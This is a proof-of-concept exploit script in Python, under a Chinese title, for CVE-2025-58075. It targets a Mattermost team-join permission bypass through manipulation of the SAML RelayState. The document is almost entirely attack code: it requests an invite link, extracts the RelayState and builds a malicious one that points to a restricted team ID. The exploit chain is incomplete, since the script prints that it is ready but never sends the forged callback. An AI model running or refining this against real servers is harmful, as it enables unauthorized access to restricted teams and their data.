CVE-2025-58075 Mattermost团队加入权限验证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-58075 - Mattermost Team Join Permission Bypass via RelayState Manipulation Proof of Concept """ import requests import re from urllib.parse import urlparse, parse_qs, urlencode class MattermostRelayStateExploit: def __init__(self, target_url, invite_token, target_team_id): self.target_url = target_url.rstrip('/') self.invite_token = invite_token self.target_team_id = target_team_id self.session = requests.Session() def get_saml_request(self): """Initiate SAML SSO flow with the invite token""" # Step 1: Access the invite link to trigger SAML flow invite_url = f"{self.target_url}/signup_team_complete/?id={self.invite_token}" response = self.session.get(invite_url, allow_redirects=False) # Extract SAML Request ID and RelayState from the redirect if response.status_code in [301, 302]: location = response.headers.get('Location', '') parsed = urlparse(location) params = parse_qs(parsed.query) return { 'saml_request_url': location, 'relay_state': params.get('RelayState', [''])[0], 'saml_request_id': params.get('SAMLRequest', [''])[0] } return None def manipulate_relay_state(self, original_relay_state): """Manipulate the RelayState to target a restricted team""" # Replace the team ID in RelayState with the target restricted team manipulated = original_relay_state.replace( self.invite_token.split('_')[0] if '_' in self.invite_token else '', self.target_team_id ) # Alternative: directly construct malicious RelayState malicious_relay_state = f"signup_team_complete/?id={self.target_team_id}" return malicious_relay_state def exploit(self): """Execute the exploit chain""" print(f"[*] Targeting: {self.target_url}") print(f"[*] Using invite token: {self.invite_token}") print(f"[*] Target team ID: {self.target_team_id}") # Get initial SAML request saml_info = self.get_saml_request() if not saml_info: print("[-] Failed to get SAML request") return False print(f"[+] Got SAML request") print(f"[+] Original RelayState: {saml_info['relay_state']}") # Manipulate RelayState malicious_relay_state = self.manipulate_relay_state(saml_info['relay_state']) print(f"[+] Manipulated RelayState: {malicious_relay_state}") # The manipulated RelayState would be sent through the SAML callback # to bypass team permission checks print("[!] Exploit prepared - send manipulated RelayState through SAML callback") print("[!] This will bypass team join permission verification") return True if __name__ == "__main__": # Configuration TARGET = "https://mattermost.example.com" VALID_INVITE_TOKEN = "valid_invite_token_here" TARGET_TEAM_ID = "restricted_team_id_here" exploit = MattermostRelayStateExploit(TARGET, VALID_INVITE_TOKEN, TARGET_TEAM_ID) exploit.exploit()